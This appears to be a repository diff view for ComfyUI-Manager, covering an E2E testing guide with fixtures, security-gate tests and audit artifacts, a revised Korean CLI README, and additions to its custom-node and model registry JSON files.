export E2E_ROOT=</path/to/your/e2e-root> # one-time
```
**Portability**: never hard-code the absolute path inside test code. Read
from `os.environ["E2E_ROOT"]` or let the fixture script resolve it.
---
## 4. Fixture Patterns
### 4.1 `comfyui` module-scoped fixture
`tests/e2e/conftest.py` defines a module-scoped `comfyui` fixture that:
1. Invokes `start_comfyui.sh` with the current PORT.
2. Blocks until the server accepts requests (or timeout).
3. Yields the server URL for the test.
4. Tears down with `stop_comfyui.sh` (kills the PID in the `.pid` file).
### 4.2 Fixture variants
| Variant | Fixture script | Extra setup |
|---------|---------------|-------------|
| glob (default) | `start_comfyui.sh` | PORT=8188 |
| legacy | `start_comfyui_legacy.sh` | PORT=8199, `ENABLE_LEGACY_UI=1` |
| strict | `start_comfyui_strict.sh` | Patches `config.ini` to `security_level = strong` (backup at `config.ini.before-strict`); fixture MUST restore on teardown. Used for negative-path `403` assertions on `middle` / `middle+` gates. |
| permissive | `start_comfyui_permissive.sh` | Patches `config.ini` to `security_level = normal-` (backup at `config.ini.before-permissive`) and sets `ENABLE_LEGACY_UI=1`; fixture MUST restore on teardown. Used for positive-path execution of `high+` gated endpoints (`comfyui_switch_version`, `install/git_url`, `install/pip`) with hardcoded trusted inputs. |
### 4.3 Example invocation
```bash
E2E_ROOT=$E2E_ROOT $E2E_ROOT/venv/bin/python -m pytest \
tests/e2e/test_e2e_legacy_endpoints.py -v --timeout=300
```
Use the venv's interpreter explicitly (`$E2E_ROOT/venv/bin/python`) — not
the system `python` — so the test runs against the editable install from
§3.1.
---
## 5. Test Design Patterns
Distilled from the sweep. Match the pattern to your contract; do not
invent new patterns without recording them in
`.claude/scaffold/e2e-methods.yml`.
### 5.1 Positive-path
Status 200 + response schema + side-effect verification. Do not stop at
status 200 — assert at least one schema field AND one observable side
effect (disk artifact, queue entry, config change).
### 5.2 Negative-path
Status 400 / 403 / 405 + body message substring. CSRF-reject tests live
in `test_e2e_csrf*.py` and are parametrized over the full endpoint list.
### 5.3 Async queue polling
Install / update endpoints enqueue work and return immediately. Poll
`/v2/manager/queue/status` or the expected disk artifact until completion.
Never `time.sleep()` with a hard-coded interval — use `expect.poll` (TS)
or a polling helper with a timeout.
### 5.4 Teardown mandatory for mutation tests
Install / save / apply tests MUST restore the original state. Use
`try/finally` or a pytest fixture. A failing test that leaves a modified
config.ini or an installed custom_node poisons every subsequent test in
the suite.
### 5.5 `@pytest.mark.xfail` for known bugs
When a test documents a bug that is not yet fixed, mark it
`@pytest.mark.xfail(reason=...)`. When the fix lands, flip to `xfail(strict=True)`
or remove the mark and include the fix commit hash in the removal commit
message (see `test_reinstall_with_uv_compile` / commit `ddccefbc` for the
pattern).
### 5.6 Playwright selector stability
Prefer title attribute — e.g. `select[title^="Configure the channel"]` —
over class selectors (shared across multiple combos). Label-based
(`:has(span.text-muted:text-is("Channel"))`) is second-best. Class-only
is brittle. See `reports/legacy-ui-channel-combo-dom-mapping.md` for the
channel-combo case study.
### 5.7 Playwright 2-hop mock
For fail-state UI scenarios: mock GET (inject a fake pack that puts the UI
into the failure state) + intercept POST (capture the payload the failure
handler fires). (The prior `legacy-ui-mock-install.spec.ts::wi-015`
exemplar was superseded by a real-E2E pre-seeded broken-pack test in
`tests/e2e/test_e2e_legacy_real_ops.py::TestImportFailInfoReal` — use
this technique only when real backend reproduction is infeasible.)
### 5.8 Playwright `page.request.post` fallback
For structurally unreachable UI triggers — e.g. the idle-state
`queue/reset` Stop button is `display: none` — use the browser-context
HTTP client to bypass the UI. Document the reason in the spec comment so
future readers don't "fix" it by forcing a click.
---
## 6. Security Gate Matrix
`comfyui_manager/glob/utils/security_utils.py:20-26` gates endpoints by
risk level. The default `security_level=normal` allows middle+ but
rejects high+ with 403.
| Gate | Local only? | security_level must be in |
|------|:---:|---------------------------|
| `middle+` | optional | `{WEAK, NORMAL, NORMAL_}` (default allows) |
| `high+` | required | `{WEAK, NORMAL_}` (default `NORMAL` ⇒ 403) |
**high+ endpoints** (`comfyui_switch_version`, `install/git_url`,
`install/pip`, install_model with non-safetensors, etc.) require
`start_comfyui_permissive.sh` to be tested positively. That harness
backs up `config.ini`, patches `security_level = normal-`, sets
`ENABLE_LEGACY_UI=1`, and the pytest fixture restores the config on
teardown. Use hardcoded trusted inputs only (never user-derived) — the
default-security `403` contract is the positive-path security behavior
we want to preserve in production. The counterpart
`start_comfyui_strict.sh` harness (`security_level = strong`) is used to
exercise the 403 negative path for `middle` / `middle+` gates. See the
WI-YY infeasibility log for which high+ endpoints still need harness
work.
**Honesty boundary for mock-based closures**: rows in
`reports/api-coverage-matrix.md` marked `Y (WI-WW-mock)` assert UI→API
wiring only — URL + method + payload shape. They do NOT assert backend
handler behavior; that is pytest's job. A regression that kept the UI
firing correctly but broke the backend would not be caught by the mock
test alone. Document the boundary in the spec comment.
---
## 7. Audit & Coverage Artifacts
Tracked reports under `reports/`. Update these when you add or retire
tests.
| Artifact | Purpose | Maintenance |
|----------|---------|-------------|
| `reports/e2e_verification_audit.md` | Per-test verdict matrix (✅ PASS / ⚠️ WEAK / ❌ INADEQUATE / N/A) with Summary table, per-file sections, TOTAL counts | Any new or retired test → update both the per-file section and Summary; then run `scripts/verify_audit_counts.py` |
| `reports/api-coverage-matrix.md` | 39-endpoint × pytest + Playwright matrix | Update when a new endpoint is added or a coverage cell flips |
| `reports/test-bloat-inventory.md` | 10-code bloat sweep (B1-BA), 127-test baseline | Run `/pair-sweep test bloat identification` for a re-baseline when churn exceeds 10 tests |
**Verification script**: `scripts/verify_audit_counts.py` parses
`e2e_verification_audit.md` and validates that the Summary row counts
match the per-file section counts and the TOTAL line. It MUST exit 0
before a doc-sync WI completes.
---
## 8. Test Bloat Checklist (B1-BA)
Use these codes when reviewing new tests. Sources:
`reports/test-bloat-inventory.md` + the sweep methodology in
`.claude/pair-working/sessions/sweep-endpoint-coverage/scratch/goal-report-bloat-sweep.md`.
| Code | Type | Criterion |
|------|------|-----------|
| **B1** Redundant | Duplicate assertion | Same assertion or contract already covered by another test |
| **B2** Over-parametrized | Boundary noise | Cases beyond boundary + equivalence class contribute zero |
| **B3** Mixed-concerns | Multi-concern | One test mixes 3+ unrelated assertions |
| **B4** Dead | Non-existent feature | Validates a removed / non-existent endpoint or API |
| **B5** Smoke-only | Superficial | Only checks status 200 + dict type, no substantive validation |
| **B6** Setup-heavy | Over-fixtured | 50+ lines of setup/teardown vs few assertions |
| **B7** Stale-skip | Obsolete skip | `pytest.skip` reason no longer valid |
| **B8** Title-mismatch | Misleading name | Function name does not match what it actually validates |
| **B9** Copy-paste | DRY violation | ≥80% duplication with another test; helper/parametrization possible |
| **BA** Impl-detail | Implementation-coupled | Validates internal implementation, not contract |
**Triage priority**: B4 ⇒ remove. B1/B9 ⇒ parametrize or remove the
duplicate. B8 ⇒ rename or refactor the assertion. B5/BA ⇒ strengthen or
remove. B6/B7 ⇒ clean up. B2/B3 ⇒ case-by-case.
---
## 9. Running Tests
### 9.1 pytest E2E — glob manager
```bash
pytest tests/e2e/ -v --timeout=300
```
### 9.2 pytest E2E — legacy-only endpoints
```bash
pytest tests/e2e/test_e2e_legacy_endpoints.py tests/e2e/test_e2e_csrf_legacy.py -v
```
### 9.3 Playwright (legacy UI)
```bash
PORT=8199 npx playwright test tests/playwright/
```
### 9.4 CLI subprocess
```bash
pytest tests/cli/ -v
```
### 9.5 Audit verification
```bash
python3 scripts/verify_audit_counts.py
```
Exits 0 when `reports/e2e_verification_audit.md` is internally consistent
(Summary ↔ per-file ↔ TOTAL). Exit non-zero → drift between sections.
### 9.6 Full suite (reference invocation)
```bash
# pytest all, with explicit venv
E2E_ROOT=$E2E_ROOT $E2E_ROOT/venv/bin/python -m pytest tests/e2e/ -v --timeout=300
# Playwright, legacy UI mode
PORT=8199 npx playwright test tests/playwright/
# Audit verification
python3 scripts/verify_audit_counts.py
```
---
## Appendix — Companion Files
- `.claude/scaffold/e2e-methods.yml` — living registry of the test
patterns described in §5 plus the bloat codes from §8. Append entries
when you establish a new pattern.
- `reports/e2e_verification_audit.md` — per-test verdict matrix.
- `reports/api-coverage-matrix.md` — endpoint × coverage matrix.
- `reports/test-bloat-inventory.md` — 127-test sweep baseline.
- `reports/legacy-ui-channel-combo-dom-mapping.md` — DOM selector case
study for the Channel combo.
+63 -39
View File
@@ -7,41 +7,40 @@
-= ComfyUI-Manager CLI (V2.24) =-
python cm-cli.py [OPTIONS]
cm-cli [OPTIONS]
OPTIONS:
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[update|fix] all ?[--uv-compile]
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
save-snapshot ?[--output <snapshot .json/.yaml>]
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
cli-only-mode [enable|disable]
restore-dependencies
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
restore-dependencies ?[--uv-compile]
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
uv-compile
clear
```
## How To Use?
* `python cm-cli.py` 를 통해서 실행 시킬 수 있습니다.
* `cm-cli` 명령으로 실행할 수 있습니다.
* 예를 들어 custom node를 모두 업데이트 하고 싶다면
* ComfyUI-Manager경로 에서 `python cm-cli.py update all` 를 command를 실행할 수 있습니다.
* ComfyUI 경로에서 실행한다면, `python custom_nodes/ComfyUI-Manager/cm-cli.py update all` 와 같이 cm-cli.py 의 경로를 지정할 수도 있습니다.
* `cm-cli update all` 명령을 실행할 수 있습니다.
## Prerequisite
* ComfyUI 를 실행하는 python과 동일한 python 환경에서 실행해야 합니다.
* venv를 사용할 경우 해당 venv를 activate 한 상태에서 실행해야 합니다.
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 코맨드를 실행해야 합니다.
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
* ComfyUI 의 경로는 COMFYUI_PATH 환경 변수로 설정할 수 있습니다. 만약 생략할 경우 다음과 같은 경고 메시지가 나타나며, ComfyUI-Manager가 설치된 경로를 기준으로 상대 경로로 설정됩니다.
```
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
```
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 명령을 실행해야 합니다.
`.\python_embeded\python.exe -m cm_cli update all`
* ComfyUI 의 경로는 `COMFYUI_PATH` 환경 변수로 설정해야 합니다.
## Features
### 1. --channel, --mode
* 정보 보기 기능과 커스텀 노드 관리 기능의 경우는 --channel과 --mode를 통해 정보 DB를 설정할 수 있습니다.
* 예들 들어 `python cm-cli.py update all --channel recent --mode remote`와 같은 command를 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` command에서만 사용 가능합니다.
* 예를 들어 `cm-cli update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` 명령에서만 사용 가능합니다.
### 2. 관리 정보 보기
@@ -51,7 +50,7 @@ OPTIONS:
* `[show|simple-show]` - `show`는 상세하게 정보를 보여주며, `simple-show`는 간단하게 정보를 보여줍니다.
`python cm-cli.py show installed` 와 같은 코맨드를 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
`cm-cli show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -67,7 +66,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
```
`python cm-cli.py simple-show installed` 와 같은 코맨드를 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
`cm-cli simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -89,16 +88,16 @@ ComfyUI-Loopchain
* `installed`: enable, disable 여부와 상관없이 설치된 모든 노드를 보여줍니다
* `not-installed`: 설치되지 않은 커스텀 노드의 목록을 보여줍니다.
* `all`: 모든 커스텀 노드의 목록을 보여줍니다.
* `snapshot`: 현재 설치된 커스텀 노드의 snapshot 정보를 보여줍니다. `show`롤 통해서 볼 경우는 json 출력 형태로 보여주며, `simple-show`를 통해서 볼 경우는 간단하게, 커밋 해시와 함께 보여줍니다.
* `snapshot`: 현재 설치된 커스텀 노드의 snapshot 정보를 보여줍니다. `show`를 통해서 볼 경우는 json 출력 형태로 보여주며, `simple-show`를 통해서 볼 경우는 간단하게, 커밋 해시와 함께 보여줍니다.
* `snapshot-list`: ComfyUI-Manager/snapshots 에 저장된 snapshot 파일의 목록을 보여줍니다.
### 3. 커스텀 노드 관리 하기
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
* `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
* `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
* 커스텀 노드의 이름은 `show`를 했을 때 보여주는 이름이며, git repository의 이름입니다.
(추후 nickname 을 사용가능하돌고 업데이트 할 예정입니다.)
(추후 nickname을 사용 가능하도록 업데이트할 예정입니다.)
`[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
@@ -113,38 +112,63 @@ ComfyUI-Loopchain
* `enable`: 지정된 커스텀 노드들을 활성화합니다.
* `fix`: 지정된 커스텀 노드의 의존성을 고치기 위한 시도를 합니다.
#### `--uv-compile` 플래그 (`install`, `reinstall`, `update`, `fix`)
`--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고, 모든 작업이 완료된 후 `uv pip compile`로 전체 의존성을 한 번에 일괄 해결합니다.
* `uv`가 설치된 환경에서만 동작합니다.
* 여러 노드 팩 간의 의존성 충돌을 방지합니다.
* 해결 실패 시 충돌 패키지와 해당 패키지를 요청한 노드 팩 목록을 표시합니다.
* `reinstall --uv-compile`은 `--no-deps`와 동시에 사용할 수 없습니다.
```bash
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
cm-cli update all --uv-compile
cm-cli fix ComfyUI-Impact-Pack --uv-compile
```
### 4. 스냅샷 관리 기능
* `python cm-cli.py save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
* `cm-cli save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
* --output 으로 임의의 경로에 .yaml 파일과 format으로 저장할 수 있습니다.
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
* snapshot 경로에 파일이 존재하는 경우 해당 snapshot을 로드합니다.
* snapshot 경로에 파일이 존재하지 않는 경우 묵시적으로, ComfyUI-Manager/snapshots 에 있다고 가정합니다.
* `--pip-non-url`: PyPI 에 등록된 pip 패키지들에 대해서 복구를 수행
* `--pip-non-local-url`: web URL에 등록된 pip 패키지들에 대해서 복구를 수행
* `--pip-local-url`: local 경로를 지정하고 있는 pip 패키지들에 대해서 복구를 수행
* `--user-directory`: 사용자 디렉토리 설정
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes 만 설치된 것으로 인식함.)
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes만 설치된 것으로 인식함.)
### 5. CLI only mode
### 5. 의존성 설치
ComfyUI-Manager를 CLI로만 사용할 것인지를 설정할 수 있습니다.
`cli-only-mode [enable|disable]`
* security 혹은 policy 의 이유로 GUI 를 통한 ComfyUI-Manager 사용을 제한하고 싶은 경우 이 모드를 사용할 수 있습니다.
* CLI only mode를 적용할 경우 ComfyUI-Manager 가 매우 제한된 상태로 로드되어, 내부적으로 제공하는 web API가 비활성화 되며, 메인 메뉴에서도 Manager 버튼이 표시되지 않습니다.
### 6. 의존성 설치
`restore-dependencies`
`restore-dependencies ?[--uv-compile]`
* `ComfyUI/custom_nodes` 하위 경로에 커스텀 노드들이 설치되어 있긴 하지만, 의존성이 설치되지 않은 경우 사용할 수 있습니다.
* colab 과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행 되어야 하는 경우 사용합니다.
* ComfyUI을 재설치할 경우, custom_nodes 경로만 백업했다가 재설치 할 경우 활용 가능합니다.
* Colab과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행되어야 하는 경우 사용합니다.
* ComfyUI를 재설치할 경우, custom_nodes 경로만 백업했다가 재설치할 경우 활용 가능합니다.
* `--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고 일괄 해결합니다.
### 6. 의존성 파일로 설치
### 7. clear
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
GUI에서 install, update를 하거나 snapshot 을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
* 의존성 spec 파일(`.json`) 또는 워크플로우 파일(`.png`/`.json`)에 명시된 커스텀 노드를 설치합니다.
* `--uv-compile` 플래그를 사용하면 모든 노드 설치 후 일괄 의존성 해결을 수행합니다.
### 7. uv-compile
`uv-compile ?[--user-directory <path>]`
* 설치된 모든 커스텀 노드 팩의 의존성을 `uv pip compile`로 일괄 해결하고 설치합니다.
* ComfyUI를 재시작하지 않고 의존성 환경을 복구하거나 초기 설정 시 활용할 수 있습니다.
* `uv`가 설치된 환경에서만 동작합니다.
```bash
cm-cli uv-compile
cm-cli uv-compile --user-directory /path/to/comfyui
```
### 8. clear
GUI에서 install, update를 하거나 snapshot을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+2343 -1233
View File
File diff suppressed because it is too large Load Diff
+20
View File
@@ -1,5 +1,15 @@
{
"custom_nodes": [
{
"author": "synchronicity-labs",
"title": "ComfyUI Sync Lipsync Node",
"reference": "https://github.com/synchronicity-labs/sync-comfyui",
"files": [
"https://github.com/synchronicity-labs/sync-comfyui"
],
"install_type": "git-clone",
"description": "This custom node allows you to perform audio-video lip synchronization inside ComfyUI using a simple interface."
},
{
"author": "joaomede",
"title": "ComfyUI-Unload-Model-Fork",
@@ -159,6 +169,16 @@
],
"install_type": "git-clone",
"description": "A fork of KJNodes for ComfyUI.\nVarious quality of life -nodes for ComfyUI, mostly just visual stuff to improve usability"
},
{
"author": "huixingyun",
"title": "ComfyUI-SoundFlow",
"reference": "https://github.com/huixingyun/ComfyUI-SoundFlow",
"files": [
"https://github.com/huixingyun/ComfyUI-SoundFlow"
],
"install_type": "git-clone",
"description": "forked from https://github.com/fredconex/ComfyUI-SoundFlow (removed)"
}
]
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+101 -103
View File
@@ -1,5 +1,106 @@
{
"models": [
{
"name": "Comfy-Org/Wan2.2 i2v high noise 14B (fp16)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for i2v high noise 14B (fp16)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_i2v_high_noise_14B_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp16.safetensors",
"size": "28.6GB"
},
{
"name": "Comfy-Org/Wan2.2 i2v high noise 14B (fp8_scaled)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for i2v high noise 14B (fp8_scaled)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors",
"size": "14.3GB"
},
{
"name": "Comfy-Org/Wan2.2 i2v low noise 14B (fp16)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for i2v low noise 14B (fp16)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_i2v_low_noise_14B_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp16.safetensors",
"size": "28.6GB"
},
{
"name": "Comfy-Org/Wan2.2 i2v low noise 14B (fp8_scaled)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for i2v low noise 14B (fp8_scaled)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors",
"size": "14.3GB"
},
{
"name": "Comfy-Org/Wan2.2 t2v high noise 14B (fp16)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for t2v high noise 14B (fp16)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_t2v_high_noise_14B_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp16.safetensors",
"size": "28.6GB"
},
{
"name": "Comfy-Org/Wan2.2 t2v high noise 14B (fp8_scaled)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for t2v high noise 14B (fp8_scaled)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors",
"size": "14.3GB"
},
{
"name": "Comfy-Org/Wan2.2 t2v low noise 14B (fp16)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for t2v low noise 14B (fp16)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_t2v_low_noise_14B_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp16.safetensors",
"size": "28.6GB"
},
{
"name": "Comfy-Org/Wan2.2 t2v low noise 14B (fp8_scaled)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for t2v low noise 14B (fp8_scaled)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors",
"size": "14.3GB"
},
{
"name": "Comfy-Org/Wan2.2 ti2v 5B (fp16)",
"type": "diffusion_model",
"base": "Wan2.2",
"save_path": "diffusion_models/Wan2.2",
"description": "Wan2.2 diffusion model for ti2v 5B (fp16)",
"reference": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged",
"filename": "wan2.2_ti2v_5B_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_ti2v_5B_fp16.safetensors",
"size": "10.0GB"
},
{
"name": "sam2.1_hiera_tiny.pt",
"type": "sam2.1",
@@ -586,109 +687,6 @@
"filename": "llava_llama3_fp16.safetensors",
"url": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged/resolve/main/split_files/text_encoders/llava_llama3_fp16.safetensors",
"size": "16.1GB"
},
{
"name": "PixArt-Sigma-XL-2-512-MS.safetensors (diffusion)",
"type": "diffusion_model",
"base": "pixart-sigma",
"save_path": "diffusion_models/PixArt-Sigma",
"description": "PixArt-Sigma Diffusion model",
"reference": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-512-MS",
"filename": "PixArt-Sigma-XL-2-512-MS.safetensors",
"url": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-512-MS/resolve/main/transformer/diffusion_pytorch_model.safetensors",
"size": "2.44GB"
},
{
"name": "PixArt-Sigma-XL-2-1024-MS.safetensors (diffusion)",
"type": "diffusion_model",
"base": "pixart-sigma",
"save_path": "diffusion_models/PixArt-Sigma",
"description": "PixArt-Sigma Diffusion model",
"reference": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-1024-MS",
"filename": "PixArt-Sigma-XL-2-1024-MS.safetensors",
"url": "https://huggingface.co/PixArt-alpha/PixArt-Sigma-XL-2-1024-MS/resolve/main/transformer/diffusion_pytorch_model.safetensors",
"size": "2.44GB"
},
{
"name": "PixArt-XL-2-1024-MS.safetensors (diffusion)",
"type": "diffusion_model",
"base": "pixart-alpha",
"save_path": "diffusion_models/PixArt-Alpha",
"description": "PixArt-Alpha Diffusion model",
"reference": "https://huggingface.co/PixArt-alpha/PixArt-XL-2-1024-MS",
"filename": "PixArt-XL-2-1024-MS.safetensors",
"url": "https://huggingface.co/PixArt-alpha/PixArt-XL-2-1024-MS/resolve/main/transformer/diffusion_pytorch_model.safetensors",
"size": "2.45GB"
},
{
"name": "Comfy-Org/hunyuan_video_t2v_720p_bf16.safetensors",
"type": "diffusion_model",
"base": "Hunyuan Video",
"save_path": "diffusion_models/hunyuan_video",
"description": "Huyuan Video diffusion model. repackaged version.",
"reference": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged",
"filename": "hunyuan_video_t2v_720p_bf16.safetensors",
"url": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged/resolve/main/split_files/diffusion_models/hunyuan_video_t2v_720p_bf16.safetensors",
"size": "25.6GB"
},
{
"name": "Comfy-Org/hunyuan_video_vae_bf16.safetensors",
"type": "VAE",
"base": "Hunyuan Video",
"save_path": "VAE",
"description": "Huyuan Video VAE model. repackaged version.",
"reference": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged",
"filename": "hunyuan_video_vae_bf16.safetensors",
"url": "https://huggingface.co/Comfy-Org/HunyuanVideo_repackaged/resolve/main/split_files/vae/hunyuan_video_vae_bf16.safetensors",
"size": "493MB"
},
{
"name": "LTX-Video 2B v0.9.1 Checkpoint",
"type": "checkpoint",
"base": "LTX-Video",
"save_path": "checkpoints/LTXV",
"description": "LTX-Video is the first DiT-based video generation model capable of generating high-quality videos in real-time. It produces 24 FPS videos at a 768x512 resolution faster than they can be watched. Trained on a large-scale dataset of diverse videos, the model generates high-resolution videos with realistic and varied content.",
"reference": "https://huggingface.co/Lightricks/LTX-Video",
"filename": "ltx-video-2b-v0.9.1.safetensors",
"url": "https://huggingface.co/Lightricks/LTX-Video/resolve/main/ltx-video-2b-v0.9.1.safetensors",
"size": "5.72GB"
},
{
"name": "XLabs-AI/flux-canny-controlnet-v3.safetensors",
"type": "controlnet",
"base": "FLUX.1",
"save_path": "xlabs/controlnets",
"description": "ControlNet checkpoints for FLUX.1-dev model by Black Forest Labs.",
"reference": "https://huggingface.co/XLabs-AI/flux-controlnet-collections",
"filename": "flux-canny-controlnet-v3.safetensors",
"url": "https://huggingface.co/XLabs-AI/flux-controlnet-collections/resolve/main/flux-canny-controlnet-v3.safetensors",
"size": "1.49GB"
},
{
"name": "XLabs-AI/flux-depth-controlnet-v3.safetensors",
"type": "controlnet",
